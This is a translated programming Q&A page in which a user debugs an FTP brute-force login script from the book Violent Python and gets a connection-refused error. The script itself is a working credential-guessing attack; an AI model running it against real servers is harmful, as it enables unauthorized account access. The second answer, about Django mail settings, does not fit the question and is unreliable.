WinError 10061 - 目标机器拒绝连接?

时间:2016-03-16 17:53:28

标签: python ftp

我正在运行此代码:

import ftplib 

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    ftp = ftplib.FTP(hostname)

    for line in pF.readlines():
        userName, passWord = line.split(':', 1)  
        passWord = passWord.strip('\r\n')  # strip any of the two characters
        print("[+] Trying: {}/{}".format(userName, passWord))

        try:
            ftp.login(userName, passWord)
        except ftplib.error_perm:
            continue
        else:
            print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord)) 
        ftp.quit()
        return userName, passWord

    print('\n[-] Could not brute force FTP credentials.') 
    return None, None

host = '192.168.95.179'
passwdFile = 'C:/Users/Karrigan/Documents/Python Stuff/userpass.txt' 
bruteLogin(host, passwdFile) 

我收到了一个错误:

[WinError 10061] No connection could be made because the target machine actively refused it

但是,在今天早上运行此代码的类似版本时,没有发生此错误,但这可能不相关。什么可能导致这个? (另外,IP是Violent Python一书提供的一个例子)

2 个答案:

答案 0 :(得分:1)

通常,该错误消息表示您被防火墙阻止,或者目标计算机未在该端口上侦听。

所以,如果它早些时候工作,那么有人打开防火墙或者停止监听该端口的进程。

答案 1 :(得分:0)

这是因为您尝试使用localhost作为邮件服务器发送电子邮件。 在开发过程中,如果您没有设置邮件服务器,并且想要使用本地计算机伪造发送电子邮件,那么您必须伪造它。

换句话说:

看起来您正在尝试发送邮件(send_mail()),而且您的settings.py中的邮件设置不正确。

出于调试目的,您可以使用以下命令设置本地smtpserver:

python -m smtpd -n -c DebuggingServer localhost:1025

并相应地调整您的邮件设置:

EMAIL_HOST = 'localhost'
EMAIL_PORT = 1025